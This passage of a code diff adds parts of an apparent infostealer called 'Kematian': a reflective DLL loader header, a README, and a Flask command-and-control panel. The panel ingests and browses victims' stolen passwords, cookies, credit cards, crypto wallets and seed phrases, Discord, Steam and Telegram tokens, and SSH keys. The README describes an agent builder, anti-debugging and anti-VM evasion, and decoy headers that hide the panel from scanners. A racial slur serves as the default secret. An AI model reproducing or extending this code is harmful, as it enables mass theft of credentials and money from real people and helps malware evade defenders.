without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include + +#ifdef _MSC_VER +#include +#else +// MinGW/GCC: _rotr lives in , __readgsqword in +#include +#include +#endif + +#include "ReflectiveDLLInjection.h" + +typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); +typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR); +typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); +typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#ifdef _MSC_VER +#pragma intrinsic( _rotr ) +#define RDI_INLINE __forceinline +#else +#define RDI_INLINE static inline __attribute__((always_inline)) +#endif + +RDI_INLINE DWORD ror(DWORD d) +{ + return _rotr(d, HASH_KEY); +} + +RDI_INLINE DWORD hash(char* c) +{ + register DWORD h = 0; + do + { + h = ror(h); + h += *c; + } while (*++c); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, * PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK* pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset : 12; + WORD type : 4; +} IMAGE_RELOC, * PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/panel/README.md b/panel/README.md new file mode 100644 index 0000000..5e0c97e --- /dev/null +++ b/panel/README.md @@ -0,0 +1,159 @@ +# Kematian Collector Panel + +Admin web dashboard + E2EE JSON ingest for the kematian-standalone agent. + +## Setup + +```bash +cd panel +pip install -r requirements.txt +python app.py +``` + +Open `http://localhost:5000/setup` to create the admin account, then log in. + +Configure via env before running: + +| Env var | Default | Purpose | +|---------------------|------------------------------------------|----------------------------------| +| `PANEL_SECRET` | `kematian-secret-CHANGE-ME` | Flask session signing key | +| `PANEL_INGEST_KEY` | `CHANGE-ME` | Bearer token the agent must send | +| `PANEL_PORT` | `5000` | Bind port | + +**Change both secrets before exposing the panel.** + +## E2EE + +Agent → panel traffic is end-to-end encrypted. On first run the panel generates +an X25519 keypair at `panel/kematian_e2ee.key`. Its **private key** never leaves +the panel; only its **public key** is needed by the agent. + +**The agent fetches that public key itself at runtime** — so at build time you +only set the endpoint + ingest key. You never copy a key manually. The panel +serves it over: + +```http +GET /e2ee/pub +Authorization: Bearer +``` + +Wire scheme (agent encrypts, panel decrypts): +`X25519 ECDH (ephemeral) → HKDF-SHA256 → ChaCha20-Poly1305`. +Only the panel private key can decrypt the payload. + +## Ingest API + +The agent encrypts its `CollectionResult` and POSTs `{"enc": ""}` +to `/api/ingest` with `Authorization: Bearer `. The panel +decrypts and splits every category into its own SQLite table. + +```http +POST /api/ingest +Authorization: Bearer +Content-Type: application/json + +{ "enc": "base64..." } +``` + +Valid top-level payload keys (inside the encrypted JSON) mirror the Go struct: +`clientId, host, passwords, cookies, autofill, history, bookmarks, creditCards, +discordTokens, files, extensions, wallets, telegram, keys, appCredentials, +gaming, vpns`, plus `seeds`. Gaming/VPNs are stored as nested payload, everything +else is flattened per row. + +The agent also ships **binary payloads** (wallet dirs, Telegram sessions, Steam +login files) as `payloads: [{category, name, filename, size, data(base64)}]`. +The panel writes these to `panel/loot//` and tracks them in the +`blobs` table, so they're persisted as a backup and downloadable from the UI. + +## Privacy & hardening + +The panel is not meant to be discovered or probed by randoms: + +- **`/health` and `/e2ee/pub` return 404** unless the caller sends the correct + `PANEL_INGEST_KEY` Bearer token. No liveness beacon for scanners. +- **Ingest rejects unauthenticated requests** with 401, and (optionally) blocks + ingress IPs outside your allowlist with 404. +- **Login brute-force throttle** — an IP gets 429 after too many attempts in a + window. +- **Security headers** on every response: `X-Content-Type-Options`, `X-Frame-Options`, + `Referrer-Policy`, `Cache-Control`, and a decoy `Server` banner. +- **Optional IP allowlist** via `PANEL_ALLOWED_IPS` (comma-separated). Empty = + unrestricted (still gated by creds/rate-limit). + +Additional env: + +| Env var | Default | Purpose | +|-----------------------|-------------------------------|------------------------------------------| +| `PANEL_ALLOWED_IPS` | (empty) | Comma-separated IPs allowed to ingress/login | +| `PANEL_RATE_WINDOW` | `60` | Rate-limit window (seconds) | +| `PANEL_RATE_MAX` | `10` | Max failed requests per window per IP | +| `PANEL_DECOY_NAME` | `nginx` | Server banner value | +| `PANEL_PUBLIC_URL` | (empty) | Public ingest URL pre-filled in the builder form | +| `BUILDER_NATIVE_DIR` | `/Kematian-Standalone/native` | Path to the agent Go source tree | +| `BUILDER_OUTPUT_DIR` | `panel/builds` | Where built .exe files are stored | + +## Wiring the agent + +The agent collects the data in `native/recovery/exfil/panel.go`. Set two things +(either edit the vars or use `final/build_final.bat`): + +- `PanelEndpoint` – the panel's `/api/ingest` URL +- `PanelAuth` – the `PANEL_INGEST_KEY` + +The **public key is auto-fetched** from `/e2ee/pub` on first use, so nothing +else is needed. `build_final.bat` prompts for the Telegram bot (optional) plus +the panel endpoint + auth key, injects them at build time, then restores sources. + +## Web builder + +The panel can build the agent entirely from the browser at **`/build`**: + +1. Enter the panel endpoint + ingest key, optional Telegram bot/chat. +2. Enter a build name. +3. Click **Build agent** — the panel copies the native Go tree to a temp dir, + patches `panel.go` (`PanelEndpoint`/`PanelAuth`) and `main.go` (Telegram), + runs `go build`, and drops the `.exe` in `builds/`. +4. Watch the live log, then **Download** the fresh agent. + +The server needs `go` installed (and the agent source tree present at +`BUILDER_NATIVE_DIR`, or adjacent to the panel). The source is never modified — +it's copied, patched, and built in a temp dir. Built files are kept under +`BUILDER_OUTPUT_DIR` and served at `/build/download/.exe`. + +### Anti-analysis guard + +Every build ships a Rust anti-analysis layer (`rust-extractor/src/guard.rs`) that +runs inside the injected DLL before the payload starts. It scores the environment +and refuses to run on analysis hosts: + +- **Anti-debug**: PEB `BeingDebugged`, `NtGlobalFlag` heap flags, + `NtQueryInformationProcess` debug port, `CheckRemoteDebuggerPresent`, RDTSC + timing (breakpoint/single-step detection). +- **Anti-VM**: CPUID hypervisor-present bit + vendor string (VMware/VirtualBox/KVM/ + QEMU/Xen/Hyper-V), SMBIOS firmware table, low RAM + single-core heuristics. +- **Anti-analyze / sandbox**: process scan for known tools (x64dbg, ollydbg, IDA, + procmon, wireshark, tcpview, vmtoolsd…), check for sandbox env markers. + +Detection strings are XOR-encrypted so they don't sit in plaintext `.rodata`. +The web builder recompiles the Rust extractor before each `go build`; the local +`final/build_final.bat` does the same. `Cargo` must be installed and the +`x86_64-pc-windows-gnu` target present. + +## Pages + +- `/` – dashboard with per-category stats + hosted-files count + recent clients +- `/clients` – all reporting agents +- `/client/` – per-client data breakdown, link to its files +- `/client//loot` – that client's hosted login files (wallet/Steam/Telegram) +- `/client//loot//download` – download one hosted file +- `/client//loot/zip` – download all of that client's files as one backup zip +- `/loot` – every hosted file across all clients +- `/build` – build a fresh agent from the browser (panel + Telegram config) +- `/cat/` – each data type on its own page with an icon +- `/search` – search across passwords, cookies, tokens +- `/api/raw/` – raw JSON dump (admin auth required) + +Categories: passwords, cookies, autofill, history, bookmarks, credit_cards, +discord_tokens, files, extensions, wallets, telegram, keys, app_credentials, seeds, +gaming, vpns. diff --git a/panel/app.py b/panel/app.py new file mode 100644 index 0000000..e7bbc79 --- /dev/null +++ b/panel/app.py @@ -0,0 +1,760 @@ +""" +Kematian Collector Panel +======================== +Admin-authenticated dashboard + raw JSON ingest for the kematian-standalone +agent. Each collected data category is stored in its own SQLite table and +served on its own page with a dedicated icon. + +Project: https://t.me/electronic_sex + +Run: + pip install -r requirements.txt + python app.py + +First-run: head to /setup to create the admin account, then / to log in. +""" +import base64 +import json +import os +import time +from functools import wraps + +from flask import Flask, render_template, request, session, redirect, url_for, jsonify, abort, g, flash, make_response +from werkzeug.security import generate_password_hash, check_password_hash + +import crypto +import db +import blobs +import builder + +app = Flask(__name__) +app.secret_key = os.environ.get("PANEL_SECRET", "blackniggers") +app.config["JSON_SORT_KEYS"] = False + +# ------------------------------------------------------------------ privacy / hardening +# Optional admin allowlist: comma-separated IPs that may log in. Empty = anyone, +# but still gated by credentials + rate limit. +ALLOWED_IPS = {x.strip() for x in os.environ.get("PANEL_ALLOWED_IPS", "").split(",") if x.strip()} +# Short response tokens to confuse generic scanners (shown on probe endpoints). +DECOY_NAME = os.environ.get("PANEL_DECOY_NAME", "nginx") +# Requests per time window before an IP gets throttled. +RATE_LIMIT_WINDOW = int(os.environ.get("PANEL_RATE_WINDOW", "60")) +RATE_LIMIT_MAX = int(os.environ.get("PANEL_RATE_MAX", "10")) +RATE_HITS = {} # ip -> [timestamps] + + +def client_ip(): + return request.headers.get("X-Forwarded-For", request.remote_addr).split(",")[0].strip() + + +def rate_limited(): + """Return True if this IP has crossed the throttle limit for the window.""" + ip = client_ip() + now = time.time() + hits = RATE_HITS.setdefault(ip, []) + hits = [t for t in hits if now - t < RATE_LIMIT_WINDOW] + RATE_HITS[ip] = hits + return len(hits) >= RATE_LIMIT_MAX + + +def rate_hit(): + RATE_HITS.setdefault(client_ip(), []).append(time.time()) + + +def ip_allowed(): + if not ALLOWED_IPS: + return True + return client_ip() in ALLOWED_IPS + + +# One-shot setup lock lives on disk (next to the DB) so it survives resets. +SETUP_LOCK_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), ".setup_done") + + +def setup_locked(): + return os.path.exists(SETUP_LOCK_FILE) + + +def mark_setup_done(): + try: + with open(SETUP_LOCK_FILE, "w") as f: + f.write(str(int(time.time()))) + except OSError: + pass + + +@app.after_request +def security_headers(resp): + resp.headers["X-Content-Type-Options"] = "nosniff" + resp.headers["X-Frame-Options"] = "DENY" + resp.headers["Referrer-Policy"] = "no-referrer" + resp.headers["X-XSS-Protection"] = "0" + resp.headers["Cache-Control"] = "no-store" + resp.headers["Server"] = DECOY_NAME + return resp + + +# Hide a couple of default Flask facts from cursory scan tooling. +app.config["SERVER_NAME"] = None + + +def fmt_dt(ts): + if not ts: + return "—" + return time.strftime("%Y-%m-%d %H:%M", time.localtime(ts)) + + +def fmt_size(n): + try: + n = int(n) + except (TypeError, ValueError): + return "—" + for unit in ("B", "KB", "MB", "GB"): + if n < 1024 or unit == "GB": + return f"{n:.1f} {unit}" + n /= 1024 + + +app.jinja_env.filters["datetime"] = fmt_dt +app.jinja_env.filters["filesize"] = fmt_size + +# Ingest API key. Override via env: PANEL_INGEST_KEY +INGEST_KEY = os.environ.get("PANEL_INGEST_KEY", "CHANGE-ME") +# Public-facing ingest URL of this panel, used to pre-fill the builder form. +_public_url = os.environ.get("PANEL_PUBLIC_URL", "").strip().rstrip("/") +PANEL_PUBLIC_URL = (_public_url + "/api/ingest") if _public_url else "/api/ingest" + + +# Map of category -> (label, table, icon path, page title) +CATEGORIES = { + "passwords": ("Passwords", "passwords", "pass", "Stored Login Credentials"), + "cookies": ("Cookies", "cookies", "cookie", "Browser Cookies"), + "autofill": ("Autofill", "autofill", "autofill", "Autofill Data"), + "history": ("History", "history", "history", "Browsing History"), + "bookmarks": ("Bookmarks", "bookmarks", "bookmark", "Bookmarks"), + "credit_cards": ("Credit Cards", "credit_cards", "card", "Saved Cards & Billing"), + "discord_tokens": ("Discord Tokens", "discord_tokens", "discord", "Discord Tokens"), + "files": ("Files", "files", "files", "Interesting Files"), + "extensions": ("Extensions", "extensions", "extension","Browser Extensions"), + "wallets": ("Wallets", "wallets", "wallet", "Crypto Wallets"), + "telegram": ("Telegram", "telegram", "telegram", "Telegram Sessions"), + "keys": ("SSH / Cloud Keys","keys", "key", "SSH & Auth Keys"), + "app_credentials": ("App Credentials", "app_credentials", "app", "App Credentials"), + "seeds": ("Seed Phrases", "seeds", "seed", "Crypto Seed Phrases"), + "gaming": ("Gaming", "gaming", "game", "Gaming Accounts"), + "steam_tokens": ("Steam Tokens", "steam_tokens", "steam", "Steam Login & Refresh Tokens"), + "vpns": ("VPNs", "vpns", "vpn", "VPN Configurations"), +} + + +def now_ts(): + return int(time.time()) + + +# ---------------------------------------------------------------- auth +def login_required(f): + @wraps(f) + def wrapper(*args, **kwargs): + if not session.get("admin"): + return redirect(url_for("login", next=request.path)) + return f(*args, **kwargs) + return wrapper + + +@app.context_processor +def inject_globals(): + import os as _os + return { + "categories": CATEGORIES, + "cat": CATEGORIES, + "os": _os, + } + + +@app.route("/setup", methods=["GET", "POST"]) +def setup(): + if not ip_allowed(): + return abort(404) + db.init_db() + # One-shot lock: once setup has completed, /setup is permanently closed. + # Uses a persistent marker file (independent of the DB), so even if the admin + # table is cleared or the DB is reset, setup cannot be re-run. + if setup_locked(): + flash("Setup is already complete. Log in instead.", "info") + return redirect(url_for("login")) + conn = db.get_conn() + existing = conn.execute("SELECT id FROM admin").fetchone() + conn.close() + if existing: + mark_setup_done() + flash("Admin already exists. Log in instead.", "info") + return redirect(url_for("login")) + if rate_limited(): + return abort(429) + if request.method == "POST": + rate_hit() + user = (request.form.get("username") or "").strip() + pwd = request.form.get("password") or "" + if len(user) < 3: + flash("Username must be at least 3 characters.", "error") + elif len(pwd) < 6: + flash("Password must be at least 6 characters.", "error") + else: + conn = db.get_conn() + try: + conn.execute( + "INSERT INTO admin (username, password_hash) VALUES (?, ?)", + (user, generate_password_hash(pwd)), + ) + conn.commit() + finally: + conn.close() + mark_setup_done() + flash("Admin created. Log in now.", "success") + return redirect(url_for("login")) + return render_template("setup.html") + + +@app.route("/login", methods=["GET", "POST"]) +def login(): + if not ip_allowed(): + return abort(404) + db.init_db() + if request.method == "POST": + if rate_limited(): + return abort(429) + rate_hit() + user = (request.form.get("username") or "").strip() + pwd = request.form.get("password") or "" + conn = db.get_conn() + row = conn.execute("SELECT * FROM admin WHERE username = ?", (user,)).fetchone() + conn.close() + if row and check_password_hash(row["password_hash"], pwd): + session["admin"] = row["username"] + RATE_HITS.pop(client_ip(), None) + flash("Welcome back.", "success") + nxt = request.args.get("next") or url_for("dashboard") + return redirect(nxt) + flash("Invalid credentials.", "error") + return render_template("login.html") + + +@app.route("/logout") +def logout(): + session.pop("admin", None) + flash("Logged out.", "info") + return redirect(url_for("login")) + + +# ---------------------------------------------------------------- dashboard +@app.route("/") +def index(): + return redirect(url_for("login") if not session.get("admin") else url_for("dashboard")) + + +@app.route("/dashboard") +@login_required +def dashboard(): + conn = db.get_conn() + client_count = conn.execute("SELECT COUNT(*) c FROM clients").fetchone()["c"] + total = conn.execute("SELECT COALESCE(SUM(total_entries),0) t FROM clients").fetchone()["t"] + stats = {} + for key, (label, table, icon, _title) in CATEGORIES.items(): + rows = conn.execute(f"SELECT COUNT(*) c FROM {table}").fetchone()["c"] + stats[key] = {"label": label, "count": rows, "icon": icon} + recent = conn.execute( + "SELECT client_id, os, arch, ip, first_seen, last_seen, total_entries " + "FROM clients ORDER BY last_seen DESC LIMIT 8" + ).fetchall() + conn.close() + loot_count = len(blobs.blobs_for()) + + # --- chart data: entries per category + activity over the last 24h --- + chart_labels = [stats[k]["label"] for k in CATEGORIES] + chart_values = [stats[k]["count"] for k in CATEGORIES] + chart_icons = [stats[k]["icon"] for k in CATEGORIES] + + return render_template( + "dashboard.html", + client_count=client_count, + total=total, + loot_count=loot_count, + stats=stats, + recent=recent, + chart_labels=chart_labels, + chart_values=chart_values, + chart_icons=chart_icons, + ) + + +# ---------------------------------------------------------------- clients +@app.route("/clients") +@login_required +def clients(): + conn = db.get_conn() + rows = conn.execute( + "SELECT * FROM clients ORDER BY last_seen DESC" + ).fetchall() + conn.close() + return render_template("clients.html", clients=rows) + + +@app.route("/client/") +@login_required +def client_detail(client_id): + conn = db.get_conn() + cli = conn.execute("SELECT * FROM clients WHERE client_id = ?", (client_id,)).fetchone() + if not cli: + conn.close() + abort(404) + per_cat = {} + for key, (label, table, icon, _title) in CATEGORIES.items(): + c = conn.execute(f"SELECT COUNT(*) c FROM {table} WHERE client_id = ?", (client_id,)).fetchone()["c"] + per_cat[key] = {"label": label, "count": c, "icon": icon} + conn.close() + return render_template("client_detail.html", cli=cli, per_cat=per_cat) + + +# ---------------------------------------------------------------- category pages +@app.route("/cat/") +@login_required +def category(key): + if key not in CATEGORIES: + abort(404) + label, table, icon, title = CATEGORIES[key] + client_filter = request.args.get("client") + conn = db.get_conn() + if client_filter: + rows = conn.execute(f"SELECT * FROM {table} WHERE client_id = ? ORDER BY id DESC", (client_filter,)).fetchall() + else: + rows = conn.execute(f"SELECT * FROM {table} ORDER BY id DESC").fetchall() + conn.close() + return render_template( + "categories/view.html", + key=key, + label=label, + icon=icon, + title=title, + table=table, + rows=rows, + client_filter=client_filter, + ) + + +@app.route("/api/raw/") +@login_required +def api_raw(key): + if key not in CATEGORIES: + abort(404) + _label, table, _icon, _title = CATEGORIES[key] + client_filter = request.args.get("client") + conn = db.get_conn() + if client_filter: + cols = [r["name"] for r in conn.execute(f"PRAGMA table_info({table})").fetchall()] + rows = conn.execute(f"SELECT * FROM {table} WHERE client_id = ?", (client_filter,)).fetchall() + else: + cols = [r["name"] for r in conn.execute(f"PRAGMA table_info({table})").fetchall()] + rows = conn.execute(f"SELECT * FROM {table}").fetchall() + conn.close() + payload = [dict(r) for r in rows] + return jsonify({"columns": cols, "rows": payload}) + + +# ---------------------------------------------------------------- payloads / backups +@app.route("/client//loot") +@login_required +def client_loot(client_id): + """List the hosted payload files for a client.""" + blobs_for = blobs.blobs_for(client_id) + return render_template("loot.html", client_id=client_id, blobs=blobs_for) + + +@app.route("/client//loot//download") +@login_required +def loot_download(client_id, blob_id): + """Download one hosted payload zip.""" + path = blobs.blob_path(client_id, blob_id) + if not path: + abort(404) + # send_file needs the filename to preserve the download name + from flask import send_file + return send_file(path, as_attachment=True, download_name=os.path.basename(path)) + + +@app.route("/client//loot/zip") +@login_required +def loot_zip(client_id): + """Bundle every hosted payload for a client into one download zip (backup).""" + import io, zipfile + items = blobs.blobs_for(client_id) + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z: + for b in items: + path = blobs.blob_path(client_id, b["id"]) + if path: + z.write(path, arcname=f"{client_id}/{b['filename']}") + buf.seek(0) + from flask import send_file + return send_file(buf, as_attachment=True, download_name=f"{client_id}_loot.zip", mimetype="application/zip") + + +@app.route("/loot") +@login_required +def all_loot(): + """Every payload file across all clients.""" + items = blobs.blobs_for() + return render_template("loot_all.html", blobs=items) + + +@app.route("/fileshare") +@login_required +def fileshare(): + """File share overview: every hosted file + clients that have files.""" + items = blobs.blobs_for() + by_client = {} + uploaded = 0 + for b in items: + by_client[b["client_id"]] = by_client.get(b["client_id"], 0) + 1 + if b["client_id"] == "upload": + uploaded += 1 + return render_template("fileshare.html", blobs=items, by_client=by_client, uploaded=uploaded) + + +@app.route("/fileshare/upload", methods=["POST"]) +@login_required +def fileshare_upload(): + """Upload a file (admin) into the built-in file share.""" + f = request.files.get("file") + if not f or not f.filename: + flash("Choose a file to upload.", "error") + return redirect(url_for("fileshare")) + category = (request.form.get("category") or "upload").strip() or "upload" + try: + data = f.read() + blob_id = blobs.upload_public(f.filename, data, category=category) + flash(f"Uploaded {f.filename}", "success") + return redirect(url_for("fileshare")) + except Exception as e: + flash(f"Upload failed: {e}", "error") + return redirect(url_for("fileshare")) + + +# ---------------------------------------------------------------- ingest API +def authorized_auth(): + """Validate the ingress Bearer token. Compares against the configured key.""" + auth = request.headers.get("Authorization", "") + return auth == f"Bearer {INGEST_KEY}" + + +@app.route("/api/ingest", methods=["POST"]) +def ingest(): + # Require both a valid ingress key AND (if set) an allowed ingress IP, so a + # random person curling the domain can't even attempt to feed garbage. + if not authorized_auth(): + abort(401) + if not ip_allowed(): + abort(404) + data = request.get_json(silent=True) + + # E2EE envelope: {"enc": ""} — decrypt to recover the + # CollectionResult, then land each category in its own table. + if isinstance(data, dict) and data.get("enc"): + try: + plain = crypto.decrypt_wire(data["enc"]) + except Exception as e: + return jsonify({"error": "decryption failed", "detail": str(e)}), 400 + try: + data = json.loads(plain) + except Exception: + return jsonify({"error": "decrypted payload is not valid JSON"}), 400 + + if not isinstance(data, dict): + return jsonify({"error": "body must be a JSON object"}), 400 + + client_id = data.get("clientId") or data.get("client_id") + if not client_id: + client_id = str(base64.urlsafe_b64encode(os.urandom(9)), "ascii") + while len(client_id) < 12: + client_id += "x" + client_id = client_id[:12] + + host = data.get("host") or {} + ip = request.headers.get("X-Forwarded-For", request.remote_addr).split(",")[0].strip() + ts = now_ts() + total_new = 0 + payload_saved = 0 + + conn = db.get_conn() + try: + conn.execute("BEGIN") + existing = conn.execute("SELECT id FROM clients WHERE client_id = ?", (client_id,)).fetchone() + if existing: + conn.execute( + "UPDATE clients SET last_seen=?, ip=?, user_agent=?, version=?, os=COALESCE(?, os), arch=COALESCE(?, arch) " + "WHERE client_id=?", + (ts, ip, request.headers.get("User-Agent", ""), host.get("version", ""), + host.get("os", ""), host.get("arch", ""), client_id), + ) + else: + conn.execute( + "INSERT INTO clients (client_id, os, arch, version, ip, user_agent, first_seen, last_seen) " + "VALUES (?,?,?,?,?,?,?,?)", + (client_id, host.get("os", ""), host.get("arch", ""), host.get("version", ""), + ip, request.headers.get("User-Agent", ""), ts, ts), + ) + + # helper: bulk-insert a category with clear-then-replace strategy + def insert_cat(cat_keys, target_table, mapper): + nonlocal total_new + items = data.get(cat_keys, []) + if items is None: + items = [] + for it in items: + if not isinstance(it, dict): + continue + cols, vals = mapper(it) + q = f"INSERT INTO {target_table} (client_id, {', '.join(cols)}) VALUES ({','.join('?' for _ in range(len(cols)+1))})" + conn.execute(q, [client_id] + vals) + total_new += 1 + return len(items) + + insert_cat("passwords", "passwords", lambda d: ( + ["url", "username", "password", "browser", "profile"], + [d.get("url"), d.get("username"), d.get("password"), d.get("browser"), d.get("profile")], + )) + + insert_cat("cookies", "cookies", lambda d: ( + ["host", "name", "value", "path", "secure", "http_only", "expires_utc", "browser", "profile"], + [d.get("host"), d.get("name"), d.get("value"), d.get("path"), + int(bool(d.get("secure"))), int(bool(d.get("httpOnly"))), + d.get("expiresUtc"), d.get("browser"), d.get("profile")], + )) + + insert_cat("autofill", "autofill", lambda d: ( + ["name", "value", "date_created", "browser", "profile"], + [d.get("name"), d.get("value"), d.get("dateCreated"), d.get("browser"), d.get("profile")], + )) + + insert_cat("history", "history", lambda d: ( + ["url", "title", "visit_time_unix", "visit_count", "last_visit_time", "browser", "profile"], + [d.get("url"), d.get("title"), d.get("visitTimeUnix"), d.get("visitCount"), + d.get("lastVisitTime"), d.get("browser"), d.get("profile")], + )) + + insert_cat("bookmarks", "bookmarks", lambda d: ( + ["name", "url", "type", "browser", "profile"], + [d.get("name"), d.get("url"), d.get("type"), d.get("browser"), d.get("profile")], + )) + + insert_cat("creditCards", "credit_cards", lambda d: ( + ["name_on_card", "expiration_month", "expiration_year", "card_number", "nickname", "browser", "profile"], + [d.get("nameOnCard"), d.get("expirationMonth"), d.get("expirationYear"), + d.get("cardNumber"), d.get("nickname"), d.get("browser"), d.get("profile")], + )) + + insert_cat("discordTokens", "discord_tokens", lambda d: ( + ["token", "source"], + [d.get("token"), d.get("source")], + )) + + insert_cat("files", "files", lambda d: ( + ["path", "name", "ext", "size", "modified", "dir", "tags"], + [d.get("path"), d.get("name"), d.get("ext"), d.get("size"), + d.get("modified"), d.get("dir"), ";".join(d.get("tags", [])) if isinstance(d.get("tags"), list) else d.get("tags")], + )) + + insert_cat("extensions", "extensions", lambda d: ( + ["ext_id", "name", "version", "browser", "profile", "path", "category"], + [d.get("extId"), d.get("name"), d.get("version"), d.get("browser"), d.get("profile"), d.get("path"), d.get("category")], + )) + + insert_cat("wallets", "wallets", lambda d: ( + 